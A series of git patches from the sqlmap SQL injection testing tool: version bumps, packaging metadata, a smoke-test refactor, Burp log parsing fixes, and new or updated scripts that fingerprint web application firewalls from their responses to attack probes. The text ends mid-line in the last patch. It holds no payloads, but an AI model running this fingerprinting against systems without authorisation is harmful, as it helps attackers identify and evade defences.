From e22fab19459c1b37dff2c2a831193dc7d6557ab7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Jan 2019 00:29:31 +0100 Subject: [PATCH 001/800] Minor update of PyPI info --- extra/shutils/precommit-hook.sh | 2 +- extra/shutils/pypi.sh | 7 ++++++- lib/core/settings.py | 2 +- txt/checksum.md5 | 2 +- 4 files changed, 9 insertions(+), 4 deletions(-) diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 5a9fea4246a..35fa5fc284e 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -26,7 +26,7 @@ if [ -f $SETTINGS_FULLPATH ] then LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') declare -a LINE - INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") + INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") if [ -n "$INCREMENTED" ] then sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index c6aa06d0bcf..20ecbd75f91 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -30,6 +30,11 @@ setup( author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', author_email='bernardo@sqlmap.org, miroslav@sqlmap.org', url='http://sqlmap.org', + project_urls={ + 'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki', + 'Source': 'https://github.com/sqlmapproject/sqlmap/', + 'Tracker': 'https://github.com/sqlmapproject/sqlmap/issues', + }, download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', license='GNU General Public License v2 (GPLv2)', packages=find_packages(), @@ -174,4 +179,4 @@ sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1` lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5 for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done python setup.py sdist upload -rm -rf $TMP_DIR \ No newline at end of file +rm -rf $TMP_DIR diff --git a/lib/core/settings.py b/lib/core/settings.py index 505c72a8f48..ea8c20d3f5f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3" +VERSION = "1.3.1.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 47d6c96cc4a..09b2ca7d45a 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -c799d8dee38e2da35b8aff0638f21129 lib/core/settings.py +488341156951968cd3d07c41a87e4c61 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py From 45c699e9cf1cbc7cb2280695ac44705fa6ba1faa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Jan 2019 00:37:30 +0100 Subject: [PATCH 002/800] Minor patch --- lib/core/settings.py | 2 +- lib/core/testing.py | 70 ++++++++++++++++++++++---------------------- txt/checksum.md5 | 4 +-- 3 files changed, 38 insertions(+), 38 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ea8c20d3f5f..f271207acac 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.0" +VERSION = "1.3.1.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 6f8a92a676d..87ff3a673c8 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -54,42 +54,42 @@ def smokeTest(): if not checkIntegrity(): retVal = False - else: - for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): - continue - - for filename in files: - if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": - length += 1 - - for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): - continue - - for filename in files: - if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": - path = os.path.join(root, os.path.splitext(filename)[0]) - path = path.replace(paths.SQLMAP_ROOT_PATH, '.') - path = path.replace(os.sep, '.').lstrip('.') - try: - __import__(path) - module = sys.modules[path] - except Exception, msg: + + for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): + if any(_ in root for _ in ("thirdparty", "extra")): + continue + + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": + length += 1 + + for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): + if any(_ in root for _ in ("thirdparty", "extra")): + continue + + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": + path = os.path.join(root, os.path.splitext(filename)[0]) + path = path.replace(paths.SQLMAP_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + try: + __import__(path) + module = sys.modules[path] + except Exception, msg: + retVal = False + dataToStdout("\r") + errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg) + logger.error(errMsg) + else: + # Run doc tests + # Reference: http://docs.python.org/library/doctest.html + (failure_count, test_count) = doctest.testmod(module) + if failure_count > 0: retVal = False - dataToStdout("\r") - errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg) - logger.error(errMsg) - else: - # Run doc tests - # Reference: http://docs.python.org/library/doctest.html - (failure_count, test_count) = doctest.testmod(module) - if failure_count > 0: - retVal = False - - count += 1 - status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + + count += 1 + status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) + dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) clearConsoleLine() if retVal: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 09b2ca7d45a..4a0aa70d217 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,11 +49,11 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -488341156951968cd3d07c41a87e4c61 lib/core/settings.py +0128758c83a31ba80424336cc45f1e6e lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py -2f87870562ac9a79a5105a0e20fdbf9a lib/core/testing.py +a71b23612f2f2c7be8a843858408fdcc lib/core/testing.py 5ebd996b2a77449df90320847e30a073 lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py 5bd7cd6553a4a1c85cbaaddc268108e4 lib/core/update.py From 37449262dfa8816ebdaa5d0218abfe8aa994ac46 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Jan 2019 02:29:09 +0100 Subject: [PATCH 003/800] Fixes #3425 --- lib/core/common.py | 3 +-- lib/core/option.py | 15 +++++++++------ lib/core/settings.py | 4 ++-- txt/checksum.md5 | 6 +++--- 4 files changed, 15 insertions(+), 13 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0aa977cc66f..4688cf4b4b5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4598,9 +4598,8 @@ def _parseBurpLog(content): reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) for match in reqResList: - request = match if isinstance(match, basestring) else match.group(0) + request = match if isinstance(match, basestring) else match.group(1) request = re.sub(r"\A[^\w]+", "", request) - schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) if schemePort: diff --git a/lib/core/option.py b/lib/core/option.py index 27b63e81f30..56ce2ce98bb 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -100,6 +100,7 @@ from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DBMS_ALIASES +from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS @@ -223,10 +224,11 @@ def _setMultipleTargets(): if os.path.isfile(conf.logFile): for target in parseRequestFile(conf.logFile): - url = target[0] - if url not in seen: + url, _, data, _, _ = target + key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) + if key not in seen: kb.targets.add(target) - seen.add(url) + seen.add(key) elif os.path.isdir(conf.logFile): files = os.listdir(conf.logFile) @@ -237,10 +239,11 @@ def _setMultipleTargets(): continue for target in parseRequestFile(os.path.join(conf.logFile, reqFile)): - url = target[0] - if url not in seen: + url, _, data, _, _ = target + key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) + if key not in seen: kb.targets.add(target) - seen.add(url) + seen.add(key) else: errMsg = "the specified list of targets is not a file " diff --git a/lib/core/settings.py b/lib/core/settings.py index f271207acac..6139b4e9d4f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.1" +VERSION = "1.3.1.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -360,7 +360,7 @@ WEBSCARAB_SPLITTER = "### Conversation" # Splitter used between requests in BURP log files -BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}" +BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}" # Regex used for parsing XML Burp saved history items BURP_XML_HISTORY_REGEX = r'(\d+).+? Date: Sun, 6 Jan 2019 02:30:05 +0100 Subject: [PATCH 004/800] Trivial cleanup --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/wordfence.py | 2 -- 3 files changed, 3 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6139b4e9d4f..888ee2a216a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.2" +VERSION = "1.3.1.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index fa8df11f3ff..d8bbe820fd4 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -b1e0f0672f00611ad7f9d3a467d53649 lib/core/settings.py +80e6760b8230a90372e15d7f18124974 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -464,7 +464,7 @@ ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 6aad5ef252bf428e9bbebe650c0cf67e waf/watchguard.py c8dcaa89f6cde684a578fdc2e9ab2bb8 waf/webappsecure.py a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py -16e421475ff62b203298e669edca7b40 waf/wordfence.py +ac9e4e3ced77012ed97284634a9ffc74 waf/wordfence.py e16122cb40e5f3a66cba359cfb672bd2 waf/yundun.py a560bee3e948b97af2c88805933dcaad waf/yunsuo.py c8b6517da2c8a28d474956e3a6b8c1ed waf/zenedge.py diff --git a/waf/wordfence.py b/waf/wordfence.py index 40a6711687f..2b7ef485336 100644 --- a/waf/wordfence.py +++ b/waf/wordfence.py @@ -5,8 +5,6 @@ See the file 'LICENSE' for copying permission """ -import re - from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Wordfence (Feedjit)" From 094ce29709b9c256db58eb3353a6fb09c70663f6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Jan 2019 03:11:31 +0100 Subject: [PATCH 005/800] Removing useless netscaler WAF script (passive appliance) --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/netscaler.py | 26 -------------------------- 3 files changed, 2 insertions(+), 29 deletions(-) delete mode 100644 waf/netscaler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 888ee2a216a..933e074c85c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.3" +VERSION = "1.3.1.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index d8bbe820fd4..a4edec0bd08 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -80e6760b8230a90372e15d7f18124974 lib/core/settings.py +8d07fc2ad855c7c9175f80a0f1cbfddd lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -436,7 +436,6 @@ d50d82bec48814eb5b699d302dbdae9a waf/kona.py 10b1c6891494b780d1966e47fca2b58a waf/modsecurity.py 78af8e791207db9723a14bddeb7524af waf/naxsi.py 504ade4d32bdbbd2932eebb07f57c3eb waf/netcontinuum.py -47ef4146cac17e3244bbc1a93fb51942 waf/netscaler.py 84e9c68b6ecffafb5ec8cd96acaf62b9 waf/newdefend.py 69fc40e85751279e9018d643742db04e waf/nsfocus.py 7ff3c93f2c77a984ebbf217c7c38a796 waf/paloalto.py diff --git a/waf/netscaler.py b/waf/netscaler.py deleted file mode 100644 index 7a8ac59685f..00000000000 --- a/waf/netscaler.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NetScaler (Citrix Systems)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"\Aclose", headers.get("Cneonction", "") or headers.get("nnCoection", ""), re.I) is not None - retval |= re.search(r"\A(ns_af=|citrix_ns_id|NSC_)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"\ANS-CACHE", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None - if retval: - break - - return retval From ed0420e635fb904d6df1c77614e061329739608e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Jan 2019 03:22:15 +0100 Subject: [PATCH 006/800] Update of WAF script for Cloudfront --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/cloudfront.py | 3 ++- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 933e074c85c..d00bd630f18 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.4" +VERSION = "1.3.1.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index a4edec0bd08..06228f8864e 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -8d07fc2ad855c7c9175f80a0f1cbfddd lib/core/settings.py +a7b1cd71be4ae51360d0d01293271e66 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -414,7 +414,7 @@ ef8c5db49ad9973b59d6b9b65b001714 waf/blockdos.py a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py 8fec83056c8728076ab17ab3a2ebbe7b waf/cloudflare.py -5672c1ae038dcfc523a6d82d9875025c waf/cloudfront.py +8414f766b0171fbc264c46ad40dff237 waf/cloudfront.py 847ee97f6e0f8aeec61afd3e0c91543b waf/comodo.py f7571543ccb671a63a8139e375d6a4f2 waf/crawlprotect.py f20b14ca9f7c2442fd1e9432d933a75b waf/datapower.py diff --git a/waf/cloudfront.py b/waf/cloudfront.py index 081c9750209..46474c48959 100644 --- a/waf/cloudfront.py +++ b/waf/cloudfront.py @@ -15,9 +15,10 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = re.search(r"Error from cloudfront", headers.get("X-Cache", ""), re.I) is not None + retval |= all(_ in (page or "") for _ in ("Generated by cloudfront", "Request blocked")) if retval: break From 30497acd0cc1a996ba679d4c7ba835a025643d13 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Jan 2019 03:48:56 +0100 Subject: [PATCH 007/800] Minor update of ExpressionEngine WAF script --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/expressionengine.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d00bd630f18..9c36bef83f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.5" +VERSION = "1.3.1.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 06228f8864e..556953e0ff1 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -a7b1cd71be4ae51360d0d01293271e66 lib/core/settings.py +0dd33e8fe128a0b3bf3f94a463d0a61a lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -423,7 +423,7 @@ dbe50bbcb1b4664d6cebfcca63e75125 waf/distil.py 2e8bf326975edcb4d627493c46c6807c waf/dosarrest.py 886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py -17e7ac56629b25a9ea8cfe01c3604745 waf/expressionengine.py +3f440d629b31052e675ee9d48d4ce370 waf/expressionengine.py 588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py 0e9eb20967d2dde941cca8c663a63e1f waf/generic.py 2aa7775dac8df4a3cdb736fdf51dc9cb waf/hyperguard.py diff --git a/waf/expressionengine.py b/waf/expressionengine.py index 7b3c9b47e8d..8d8d0fc6c8b 100644 --- a/waf/expressionengine.py +++ b/waf/expressionengine.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "Invalid GET Data" in (page or "") + retval = any((page or "").strip() == _ for _ in ("Invalid GET Data", "Invalid URI")) if retval: break From 54d0678cbe2f6d347fc970548c4a482c89631b1e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Jan 2019 01:21:07 +0100 Subject: [PATCH 008/800] Adding new WAF scripts --- lib/core/settings.py | 2 +- txt/checksum.md5 | 8 +++++--- waf/crawlprotect.py | 1 + waf/immunify360.py | 25 +++++++++++++++++++++++++ waf/modsecurity.py | 2 +- waf/onmessage.py | 25 +++++++++++++++++++++++++ 6 files changed, 58 insertions(+), 5 deletions(-) create mode 100644 waf/immunify360.py create mode 100644 waf/onmessage.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9c36bef83f4..dc566a43d4b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.6" +VERSION = "1.3.1.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 556953e0ff1..1be0b4d3387 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -0dd33e8fe128a0b3bf3f94a463d0a61a lib/core/settings.py +885aad10b81d3eaee5218ffbe29db374 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -416,7 +416,7 @@ af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py 8fec83056c8728076ab17ab3a2ebbe7b waf/cloudflare.py 8414f766b0171fbc264c46ad40dff237 waf/cloudfront.py 847ee97f6e0f8aeec61afd3e0c91543b waf/comodo.py -f7571543ccb671a63a8139e375d6a4f2 waf/crawlprotect.py +4ed76fdf2add2405bb6157ac025e01b9 waf/crawlprotect.py f20b14ca9f7c2442fd1e9432d933a75b waf/datapower.py e49bb75985f60556b4481dc085f3c62b waf/denyall.py dbe50bbcb1b4664d6cebfcca63e75125 waf/distil.py @@ -427,17 +427,19 @@ a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py 588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py 0e9eb20967d2dde941cca8c663a63e1f waf/generic.py 2aa7775dac8df4a3cdb736fdf51dc9cb waf/hyperguard.py +256a7ea2c1cd2745fe788cf8f6123f8a waf/immunify360.py 1adbd0c470d1bbcec370722f05094255 waf/incapsula.py fb6be55d21a70765e35549af2484f762 waf/__init__.py a3ee375714987acccc26d1b07c2e8af7 waf/isaserver.py ce9cf35919a92d65347bb74ca0c5c86f waf/jiasule.py f44ed04eeb4287c11ce277703ec7d72d waf/knownsec.py d50d82bec48814eb5b699d302dbdae9a waf/kona.py -10b1c6891494b780d1966e47fca2b58a waf/modsecurity.py +4397c299d27a500851726444fb89759e waf/modsecurity.py 78af8e791207db9723a14bddeb7524af waf/naxsi.py 504ade4d32bdbbd2932eebb07f57c3eb waf/netcontinuum.py 84e9c68b6ecffafb5ec8cd96acaf62b9 waf/newdefend.py 69fc40e85751279e9018d643742db04e waf/nsfocus.py +a59aff03a5b3fb40ea0feb3489677040 waf/onmessage.py 7ff3c93f2c77a984ebbf217c7c38a796 waf/paloalto.py 2979bb64c24256a83625d75a385dde9b waf/profense.py 8de0d46738335a4e498c4ac9038ac3c3 waf/proventia.py diff --git a/waf/crawlprotect.py b/waf/crawlprotect.py index 669c927ec5c..8f0e94ec8fe 100644 --- a/waf/crawlprotect.py +++ b/waf/crawlprotect.py @@ -15,5 +15,6 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, code = get_page(get=vector) retval = code >= 400 and "This site is protected by CrawlProtect" in (page or "") + retval |= "CrawlProtect" in (page or "") return retval diff --git a/waf/immunify360.py b/waf/immunify360.py new file mode 100644 index 00000000000..6383f7a377e --- /dev/null +++ b/waf/immunify360.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Imunify360 (CloudLinux Inc.)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, _ = get_page(get=vector) + retval = re.search(r"\Aimunify360", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval = any(_ in (page or "") for _ in ("protected by Imunify360", "Powered by Imunify360", "imunify360 preloader")) + if retval: + break + + return retval diff --git a/waf/modsecurity.py b/waf/modsecurity.py index d5d6d8ff41f..4751b06da3a 100644 --- a/waf/modsecurity.py +++ b/waf/modsecurity.py @@ -18,7 +18,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retval = re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("This error was generated by Mod_Security", "One or more things in your request were suspicious", "rules of the mod_security module", "The page you are trying to access is restricted due to a security rule")) + retval |= any(_ in (page or "") for _ in ("This error was generated by Mod_Security", "One or more things in your request were suspicious", "rules of the mod_security module", "The page you are trying to access is restricted due to a security rule", "Protected by Mod Security")) if retval: break diff --git a/waf/onmessage.py b/waf/onmessage.py new file mode 100644 index 00000000000..b5c613702f3 --- /dev/null +++ b/waf/onmessage.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "onMessage Shield (Blackbaud)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, _ = get_page(get=vector) + retval = re.search(r"onMessage Shield", headers.get("X-Engine", ""), re.I) is not None + retval 